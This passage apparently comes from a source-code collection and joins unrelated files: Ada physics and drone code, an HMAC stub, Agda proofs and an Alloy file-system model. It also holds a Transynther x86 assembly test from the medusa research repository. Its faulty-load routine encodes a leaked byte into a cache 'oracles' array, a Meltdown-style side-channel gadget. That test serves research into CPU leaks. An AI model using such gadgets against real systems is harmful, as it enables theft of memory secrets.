32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
3-mid/impact/source/3d/collision/broadphase/impact-d3-collision-proxy.ads
|
charlie5/lace
| 20
|
7953
|
limited
with impact.d3.collision.Algorithm;
package impact.d3.collision.Proxy
--
-- The impact.d3.collision.Proxy is the main class that can be used with the Bullet broadphases.
--
-- It stores collision shape type information, collision filter information and a client object, typically a impact.d3.Object or impact.d3.Object.rigid.
--
is
use Math;
type BroadphaseNativeTypes is (BOX_SHAPE_PROXYTYPE, -- polyhedral convex shapes
TRIANGLE_SHAPE_PROXYTYPE,
TETRAHEDRAL_SHAPE_PROXYTYPE,
CONVEX_TRIANGLEMESH_SHAPE_PROXYTYPE,
CONVEX_HULL_SHAPE_PROXYTYPE,
CONVEX_POINT_CLOUD_SHAPE_PROXYTYPE,
CUSTOM_POLYHEDRAL_SHAPE_TYPE,
IMPLICIT_CONVEX_SHAPES_START_HERE, -- implicit convex shapes
SPHERE_SHAPE_PROXYTYPE,
MULTI_SPHERE_SHAPE_PROXYTYPE,
CAPSULE_SHAPE_PROXYTYPE,
CONE_SHAPE_PROXYTYPE,
CONVEX_SHAPE_PROXYTYPE,
CYLINDER_SHAPE_PROXYTYPE,
UNIFORM_SCALING_SHAPE_PROXYTYPE,
MINKOWSKI_SUM_SHAPE_PROXYTYPE,
MINKOWSKI_DIFFERENCE_SHAPE_PROXYTYPE,
BOX_2D_SHAPE_PROXYTYPE,
CONVEX_2D_SHAPE_PROXYTYPE,
CUSTOM_CONVEX_SHAPE_TYPE,
CONCAVE_SHAPES_START_HERE, -- concave shapes
-- keep all the convex shapetype below here, for the check IsConvexShape in broadphase proxy!
TRIANGLE_MESH_SHAPE_PROXYTYPE,
SCALED_TRIANGLE_MESH_SHAPE_PROXYTYPE,
FAST_CONCAVE_MESH_PROXYTYPE, -- used for demo integration FAST/Swift collision library and Bullet
TERRAIN_SHAPE_PROXYTYPE, -- terrain
GIMPACT_SHAPE_PROXYTYPE, -- Used for GIMPACT Trimesh integration
MULTIMATERIAL_TRIANGLE_MESH_PROXYTYPE, -- Multimaterial mesh
EMPTY_SHAPE_PROXYTYPE,
STATIC_PLANE_PROXYTYPE,
CUSTOM_CONCAVE_SHAPE_TYPE,
CONCAVE_SHAPES_END_HERE,
COMPOUND_SHAPE_PROXYTYPE,
SOFTBODY_SHAPE_PROXYTYPE,
HFFLUID_SHAPE_PROXYTYPE,
HFFLUID_BUOYANT_CONVEX_SHAPE_PROXYTYPE,
INVALID_SHAPE_PROXYTYPE,
MAX_BROADPHASE_COLLISION_TYPES);
--
-- impact.d3.Dispatcher uses these types
-- Nb: The types are ordered polyhedral, implicit convex and concave to facilitate type checking.
-- CUSTOM_POLYHEDRAL_SHAPE_TYPE, CUSTOM_CONVEX_SHAPE_TYPE and CUSTOM_CONCAVE_SHAPE_TYPE can be used to extend Bullet without modifying source code.
function isPolyhedral (proxyType : in BroadphaseNativeTypes) return Boolean;
function isConvex (proxyType : in BroadphaseNativeTypes) return Boolean;
function isNonMoving (proxyType : in BroadphaseNativeTypes) return Boolean;
function isConcave (proxyType : in BroadphaseNativeTypes) return Boolean;
function isCompound (proxyType : in BroadphaseNativeTypes) return Boolean;
function isSoftBody (proxyType : in BroadphaseNativeTypes) return Boolean;
function isInfinite (proxyType : in BroadphaseNativeTypes) return Boolean;
function isConvex2d (proxyType : in BroadphaseNativeTypes) return Boolean;
-- optional filtering to cull potential collisions
--
type CollisionFilterGroups is mod 2**16;
DefaultFilter : constant CollisionFilterGroups := 1;
StaticFilter : constant CollisionFilterGroups := 2;
KinematicFilter : constant CollisionFilterGroups := 4;
DebrisFilter : constant CollisionFilterGroups := 8;
SensorTrigger : constant CollisionFilterGroups := 16;
CharacterFilter : constant CollisionFilterGroups := 32;
AllFilter : constant CollisionFilterGroups := -1; -- all bits sets: DefaultFilter | StaticFilter | KinematicFilter | DebrisFilter | SensorTrigger | CharacterFilter
type Item is new Any with
record
m_clientObject : access Any'Class; -- Usually the client impact.d3.Object or Rigidbody class
m_collisionFilterGroup : CollisionFilterGroups;
m_collisionFilterMask : CollisionFilterGroups;
m_multiSapParentProxy : access Any'Class;
m_uniqueId : Integer; -- m_uniqueId is introduced for paircache. could get rid of this, by calculating the address offset etc.
m_aabbMin : math.Vector_3;
m_aabbMax : math.Vector_3;
end record;
package Forge
is
function to_Proxy (aabbMin, aabbMax : in math.Vector_3;
userPtr : access Any'Class;
collisionFilterGroup : in CollisionFilterGroups;
collisionFilterMask : in CollisionFilterGroups;
multiSapParentProxy : access Any'Class := null) return impact.d3.collision.Proxy.item;
end Forge;
function getUid (Self : in impact.d3.collision.Proxy.item) return Integer;
-- type internal_Kind is (Info1, tmpValue);
--
-- type internal (Kind : internal_Kind := Info1) is
-- record
-- case Kind is when Info1 => m_internalInfo1 : access Any'Class;
-- when tmpValue => m_internalTmpValue : Integer;
-- end case;
-- end record;
type internal is
record
m_internalInfo1 : access Any'Class;
m_internalTmpValue : Integer;
end record;
-- The btBroadphasePair class contains a pair of aabb-overlapping objects.
-- A impact.d3.Dispatcher can search a impact.d3.collision.Algorithm that performs exact/narrowphase collision detection on the actual collision shapes.
--
type btBroadphasePair is
record
m_pProxy0 : access Item'Class;
m_pProxy1 : access Item'Class;
m_algorithm : access impact.d3.collision.Algorithm.item'Class;
internals : internal; -- don't use this data, it will be removed in future version.
end record;
type btBroadphasePair_view is access all btBroadphasePair;
function to_btBroadphasePair return btBroadphasePair;
function to_btBroadphasePair (other : in btBroadphasePair) return btBroadphasePair;
function to_btBroadphasePair (proxy0, proxy1 : access Item'Class) return btBroadphasePair;
function btBroadphasePairSortPredicate (a, b : in btBroadphasePair) return Boolean;
overriding function "=" (a, b : in btBroadphasePair) return Boolean;
end impact.d3.collision.Proxy;
-- class btBroadphasePairSortPredicate
-- {
-- public:
--
-- bool operator() ( const btBroadphasePair& a, const btBroadphasePair& b )
-- {
-- const int uidA0 = a.m_pProxy0 ? a.m_pProxy0->m_uniqueId : -1;
-- const int uidB0 = b.m_pProxy0 ? b.m_pProxy0->m_uniqueId : -1;
-- const int uidA1 = a.m_pProxy1 ? a.m_pProxy1->m_uniqueId : -1;
-- const int uidB1 = b.m_pProxy1 ? b.m_pProxy1->m_uniqueId : -1;
--
-- return uidA0 > uidB0 ||
-- (a.m_pProxy0 == b.m_pProxy0 && uidA1 > uidB1) ||
-- (a.m_pProxy0 == b.m_pProxy0 && a.m_pProxy1 == b.m_pProxy1 && a.m_algorithm > b.m_algorithm);
-- }
-- };
-- SIMD_FORCE_INLINE bool operator==(const btBroadphasePair& a, const btBroadphasePair& b)
-- {
-- return (a.m_pProxy0 == b.m_pProxy0) && (a.m_pProxy1 == b.m_pProxy1);
-- }
|
tools/hmac-pinentry.adb
|
faelys/natools
| 0
|
29056
|
------------------------------------------------------------------------------
-- Copyright (c) 2014, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
------------------------------------------------------------------------------
-- This is the default empty (but portable) non-working implementation of --
-- HMAC.Pinentry. --
------------------------------------------------------------------------------
package body HMAC.Pinentry is
function Get_Key (Command : String) return String is
begin
raise Backend_Error
with "HMAC.Pinentry is not implemented on this platform.";
return "";
end Get_Key;
function Is_Available return Boolean is
begin
return False;
end Is_Available;
end HMAC.Pinentry;
|
Transynther/x86/_processed/NC/_ht_st_zr_un_/i7-7700_9_0x48_notsx.log_21829_1522.asm
|
ljhsiun2/medusa
| 9
|
82799
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x16aa7, %rbp
nop
nop
nop
nop
nop
cmp $23823, %r8
vmovups (%rbp), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x1e51f, %r8
nop
inc %rdi
movl $0x61626364, (%r8)
cmp %r10, %r10
lea addresses_UC_ht+0x128a5, %rsi
lea addresses_UC_ht+0x11b27, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
dec %rdx
mov $2, %rcx
rep movsb
nop
nop
nop
cmp $20895, %rdi
lea addresses_A_ht+0x6307, %rbp
nop
nop
add %rsi, %rsi
mov (%rbp), %r10d
add %rsi, %rsi
lea addresses_WC_ht+0x17f27, %r10
nop
nop
nop
nop
dec %rdi
movl $0x61626364, (%r10)
nop
nop
nop
nop
nop
and %r10, %r10
lea addresses_A_ht+0x153e6, %rcx
nop
nop
add $26488, %rsi
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
cmp $52836, %rcx
lea addresses_WC_ht+0x17d7, %rsi
lea addresses_A_ht+0x8727, %rdi
nop
cmp %r8, %r8
mov $0, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0xf3e7, %rsi
lea addresses_normal_ht+0x1724b, %rdi
xor %r8, %r8
mov $68, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %rdi
lea addresses_D_ht+0x18927, %rdx
nop
nop
add %r8, %r8
mov (%rdx), %esi
nop
nop
nop
nop
cmp $22673, %rsi
lea addresses_WC_ht+0x566b, %rsi
lea addresses_D_ht+0x2fc7, %rdi
nop
nop
nop
nop
nop
sub $28627, %r14
mov $4, %rcx
rep movsq
nop
nop
nop
nop
sub $51731, %rdx
lea addresses_normal_ht+0x144e7, %rdx
add $49850, %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%rdx)
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x15727, %rcx
dec %r10
movl $0x61626364, (%rcx)
and $56181, %r14
lea addresses_D_ht+0x113b7, %r10
nop
nop
xor %r8, %r8
mov $0x6162636465666768, %rdi
movq %rdi, (%r10)
nop
nop
nop
nop
cmp %r8, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r9
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_RW+0x1127, %r9
cmp $26974, %rbx
movb $0x51, (%r9)
nop
nop
nop
and $17172, %rdx
// Faulty Load
mov $0x13d8810000000f27, %rsi
nop
nop
cmp $21712, %rdx
vmovups (%rsi), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r9
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_NC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 9}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 9}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'}
{'48': 19293, 'd5': 2, '5a': 19, '51': 1, '5d': 2, '79': 1, '93': 2459, '89': 1, '35': 1, 'af': 1, '69': 1, '59': 26, '25': 3, '9d': 1, '15': 1, '61': 1, '63': 1, '21': 2, '8b': 1, '19': 1, 'e3': 1, '95': 1, '00': 1, 'a5': 1, 'cd': 1, 'bb': 1, 'e9': 1, '97': 1, 'bd': 1, 'f9': 1, 'c9': 1}
48 48 48 48 93 48 48 48 48 48 48 48 48 48 93 93 93 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 93 93 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 93 48 48 48 48 48 48 48 48 93 93 48 48 48 48 48 48 93 48 93 48 48 93 93 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 93 48 48 48 93 93 48 93 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 c9 48 93 48 48 48 48 48 48 93 48 48 48 48 48 93 93 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 93 48 48 48 48 48 48 48 48 48 93 93 48 48 48 48 5a 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 93 48 48 48 48 48 93 93 48 48 48 48 48 48 93 48 48 48 48 93 93 48 48 93 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 93 48 48 48 48 48 93 48 48 48 48 48 48 48 93 48 48 48 48 48 48 93 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 93 48 48 93 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 93 48 48 48 93 95 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 93 48 93 93 48 48 48 48 48 48 48 48 48 93 48 93 48 48 93 48 48 48 93 93 48 48 48 93 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 93 48 48 48 48 48 48 93 48 93 48 48 48 48 48 48 48 48 48 48 48 93 48 48 93 48 93 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 93 48 48 93 48 93 48 48 48 61 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 93 48 93 93 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 93 48 93 48 48 48 48 48 48 93 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 93 48 48 93 93 48 48 48 48 48 48 93 93 48 48 93 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 93 48 48 48 48 48 48 48 48 93 48 48 93 93 48 48 48 93 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 93 48 93 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 93 48 48 93 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 93 48 93 48 59 48 48 48 48 48 48 93 48 48 48 48 48 48 48 48 48 48 93 48 48 48 48 48 48 93 48 48 48 48 48
*/
|
PIM/TD1_Algorithmique/drone.adb
|
Hathoute/ENSEEIHT
| 1
|
5823
|
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Integer_Text_IO; use Ada.Integer_Text_IO;
-- Piloter un drone au moyen d'un menu textuel.
procedure Drone is
Demarrage: Boolean; -- True si le drone est demarré
Altitude: Integer; -- Valeur de l'altitude
Choix: Character; -- Choix de l'utilisateur
begin
Altitude := 0;
loop
Put("Altitude : ");
Put(Altitude, 1);
New_Line;
New_Line;
Put_Line("Que faire ?");
Put_Line(" d -- Démarrer");
Put_Line(" m -- Monter");
Put_Line(" s -- Descendre");
Put_Line(" q -- Quitter");
Put("Votre choix : ");
Get(Choix);
if Choix = 'd' or Choix = 'D' then
Demarrage := True;
elsif Choix = 'm' or Choix = 'M' then
if Demarrage then
Altitude := Altitude + 1;
else
Put_Line("Le drone n'est pas démarré.");
end if;
elsif Choix = 's' or Choix = 'S' then
if Demarrage then
if Altitude = 0 then
Put_Line("Le drone est déjà posé.");
else
Altitude := Altitude - 1;
end if;
else
Put_Line("Le drone n'est pas démarré.");
end if;
elsif Choix = 'q' or Choix = 'Q' then
exit;
else
Put_Line("Je n'ai pas compris !");
end if;
if Altitude > 4 then
New_Line;
Put_Line("Le drone est hors de portée... et donc perdu !");
return;
end if;
New_Line;
end loop;
New_Line;
if Demarrage then
Put_Line("Au revoir...");
else
Put_Line("Vous n'avez pas réussi à le mettre en route ?");
end if;
end Drone;
|
Univalence/Obsolete/SubstLemmas.agda
|
JacquesCarette/pi-dual
| 14
|
4765
|
{-# OPTIONS --without-K #-}
module SubstLemmas where
open import Level using (Level)
open import Relation.Binary.PropositionalEquality
using (_≡_; refl; sym; trans; subst; cong₂)
open import Data.Nat using (ℕ; _+_; _*_)
------------------------------------------------------------------------------
-- Lemmas about subst (and a couple about trans)
subst-dist :
{a b : Level} {A : Set a} {B : A → Set b}
(f : {x : A} → B x → B x → B x) →
{x₁ x₂ : A} → (x₂≡x₁ : x₂ ≡ x₁) → (v₁ v₂ : B x₂) →
subst B x₂≡x₁ (f v₁ v₂) ≡ f (subst B x₂≡x₁ v₁) (subst B x₂≡x₁ v₂)
subst-dist f refl v₁ v₂ = refl
subst-trans :
{a b : Level} {A : Set a} {B : A → Set b} {x₁ x₂ x₃ : A} →
(x₂≡x₁ : x₂ ≡ x₁) → (x₃≡x₂ : x₃ ≡ x₂) → (v : B x₃) →
subst B x₂≡x₁ (subst B x₃≡x₂ v) ≡ subst B (trans x₃≡x₂ x₂≡x₁) v
subst-trans refl refl v = refl
subst₂+ : {b : Level} {B : ℕ → Set b} {x₁ x₂ x₃ x₄ : ℕ} →
(x₂≡x₁ : x₂ ≡ x₁) → (x₄≡x₃ : x₄ ≡ x₃) → (v₁ : B x₂) → (v₂ : B x₄) →
(f : {x₁ x₂ : ℕ} → B x₁ → B x₂ → B (x₁ + x₂)) →
subst B (cong₂ _+_ x₂≡x₁ x₄≡x₃) (f v₁ v₂) ≡
f (subst B x₂≡x₁ v₁) (subst B x₄≡x₃ v₂)
subst₂+ refl refl v₁ v₂ f = refl
subst₂* : {b : Level} {B : ℕ → Set b} {x₁ x₂ x₃ x₄ : ℕ} →
(x₂≡x₁ : x₂ ≡ x₁) → (x₄≡x₃ : x₄ ≡ x₃) → (v₁ : B x₂) → (v₂ : B x₄) →
(f : {x₁ x₂ : ℕ} → B x₁ → B x₂ → B (x₁ * x₂)) →
subst B (cong₂ _*_ x₂≡x₁ x₄≡x₃) (f v₁ v₂) ≡
f (subst B x₂≡x₁ v₁) (subst B x₄≡x₃ v₂)
subst₂* refl refl v₁ v₂ f = refl
trans-syml : {A : Set} {x y : A} → (p : x ≡ y) → trans (sym p) p ≡ refl
trans-syml refl = refl
trans-symr : {A : Set} {x y : A} → (p : x ≡ y) → trans p (sym p) ≡ refl
trans-symr refl = refl
subst-subst :
{a b : Level} {A : Set a} {B : A → Set b}
{x y : A} → (eq : x ≡ y) → (eq' : y ≡ x) → (irr : sym eq ≡ eq') → (v : B y) →
subst B eq (subst B eq' v) ≡ v
subst-subst refl .refl refl v = refl
|
AlloyModel.als
|
dhananjaymehta/FileManagementSystemAlloy
| 0
|
4446
|
<gh_stars>0
/*
CIS771 - Extra Credit
<NAME> and <NAME>
F I L E M A N A G E M E N T S Y S T E M
-- This model include the Alloy model for FMS and also include the test to check the implementation.
*/
//==============================================
// F I L E M A N A G E M E N T S Y S T E M : Basic Framework
//==============================================
--Users of FMS
abstract sig User {}
--Two kind of users
sig student, faculty extends User{}
--Devices registered to FMS
abstract sig Devices {}
--Two kind of devices
sig Laptop, Desktop extends Devices{}
--Location where the devices can be located.
sig Location
{
associatedDevice: some Devices
}
--FSM consists of a Diretory Tree having subdirectories and Files
sig Directory {}
-- A File has a Status and Permissions associated with it
sig File{
permission: one Permission
}
-- Indicates status of a File
abstract sig Status{}
one sig Read,Write extends Status{}
-- Indicates permissions on a File.
abstract sig Permission{}
one sig Personal,Sensitive extends Permission{}
// Backup files in FMS.
one sig Backup {}
//==============================================
// F I L E M A N A G E M E N T S Y S T E M : Definition
//==============================================
sig FMS
{
// FSM saves a set of Active users
registereduser : set User,
//logfile saves status of a file READ/WRITE in FSM.
logfile: File -> one Status,
//FSM keep tracks location where user is located and set the location as active location.
activelocation : set Location,
//File directory indicate the directory of the file in FMS.
filedirectory: File -> one Directory ,
//subdirectory give information about the sub directories of a Directories in FMS.
subdirectory: Directory -> lone Directory,
//ownertable indicates owner of a file in FMS.
ownertable: File ->one User,
//accesstable indicates people who can access the file in FMS.
accesstable: User-> File,
//devicetable indicates device on which file is located in FMS.
devicetable: Devices -> File,
//deviceuser indicates device a user owns that are associated to FMS.
deviceuser: Devices some -> one User,
//backupfiles backs up file in FMS.
backupfiles: File -> lone Backup,
}
//====================================
// F I L E M A N A G E M E N T S Y S T E M : Signature Facts
//====================================
{
//all the users who can access a file should be a registered user
all u:User| (u in File.ownertable) implies u in registereduser
// if a file is accessble by a user and is Private then it is accessed by only the owner in all its devices
all f:File | f.permission = Personal implies f.ownertable in accesstable.f and f in (deviceuser.(f.ownertable)).devicetable
// if a file is accessble by a user and is Sensitive then it is acessed by only owner and only through desktop
all f:File |(f in User.accesstable) and f.permission in Sensitive implies f.ownertable in accesstable.f
and devicetable.f in Desktop
//unregistered user has no devices
all u:User|(u & registereduser = none) implies deviceuser.u = none
//a subdirectory can not be its own directory
all f1,f2:Directory|(f1.subdirectory=f2) implies f2.subdirectory!=f1
//no transitive closure of subdirectories
no d: Directory | d in d.^subdirectory
// there is only one directory and all files are saved in the directory
all f:File | (f.logfile = Read) implies f in backupfiles.Backup
//backup has no file currently written
all f:File | (f.logfile = Write) implies f not in backupfiles.Backup
//Every owner has access to its file
all f:File , u:User| (u in f.(ownertable)) implies u in (accesstable).f and #(accesstable).f >=1
//Every file has to be in at least one device
all f: File | #(devicetable.f) >= 1
//Only owner can write the file and when the file is writing no one else can access it and only on one device
all f:File| (f.logfile=Write) implies accesstable.f in f.ownertable and #(devicetable.f) = 1
//if the file have a Status read then it has to be in at least all the devices of the owener
all f:File| (f.logfile=Read) implies deviceuser.(f.ownertable) in devicetable.f
//all the devices where the file is accesseble should be owned by users having access to the file
all f:File| devicetable.f in deviceuser.(accesstable.f)
}
-- This fact indicates that a device cannot be in more than one location at a given time.
fact devicemultiplelocation
{
all l1,l2:Location | l1.associatedDevice & l2.associatedDevice = none
}
//======================================
// F I L E M A N A G E M E N T S Y S T E M : System Constraints
//======================================
-- 1. FileUpdate
-- When a file switches from Write to Read that means that file has done being updated and cab be published to other devices
--
pred FileUpdate (f:File, fms,fms':FMS)
{
//Both file are different
fms'!=fms
//precondition file status should be Write
f.(fms.logfile) = Write
//precondition file should be on one device (owened by the user) and should be accessed by only one user (owner)
(fms.accesstable).f + f.(fms.ownertable) = f.(fms.ownertable) and #(fms.devicetable.f) =1 and fms'.devicetable.f in fms'.deviceuser.(f.(fms'.ownertable))
//postcondition file status should be Read
f.(fms'.logfile) = Read
//postcondition add file in back up
f in fms'.backupfiles.Backup
//frame conditions
fms.registereduser = fms'.registereduser
all f1:File-f | f1.(fms.logfile) = f1.(fms'.logfile)
fms.filedirectory = fms'.filedirectory
fms.activelocation = fms'.activelocation
fms.subdirectory=fms'.subdirectory
fms.ownertable= fms'.ownertable
fms.accesstable=fms'.accesstable
fms.devicetable=fms'.devicetable
fms.deviceuser=fms'.deviceuser
(fms'.backupfiles).Backup= (fms.backupfiles).Backup + f
}
run FileUpdate for 2
-- 2. FileNotUpdate
-- When a file switches from Read to Write that means that file is being updated and has to be un published (should only hace one user in accesstable and should only be in one device)
--
pred FileNotUpdate (f:File, fms,fms':FMS)
{
//Both file are different
fms' != fms
//precondition file status should be Read
f.(fms.logfile) = Read
//postcondition file should be on one device (owened by the user) and should be accessed by only one user (owner)
(fms'.accesstable).f + f.(fms'.ownertable) = f.(fms'.ownertable) and #(fms'.devicetable.f) =1 and fms'.devicetable.f in fms'.deviceuser.(f.(fms'.ownertable))
//postcondition file status should be Read
f.(fms'.logfile) = Write
//postcondition remove file from back up
f not in fms'.backupfiles.Backup
//frame conditions
fms.registereduser = fms'.registereduser
all f1:File-f | f1.(fms.logfile) = f1.(fms'.logfile)
all f2:File-f | (fms.accesstable).f2=(fms'.accesstable).f2
all f3:File-f | (fms.devicetable).f3=(fms'.devicetable).f3
fms.filedirectory = fms'.filedirectory
fms.activelocation = fms'.activelocation
fms.subdirectory=fms'.subdirectory
fms.ownertable= fms'.ownertable
fms.deviceuser=fms'.deviceuser
(fms.backupfiles).Backup= (fms'.backupfiles).Backup + f
}
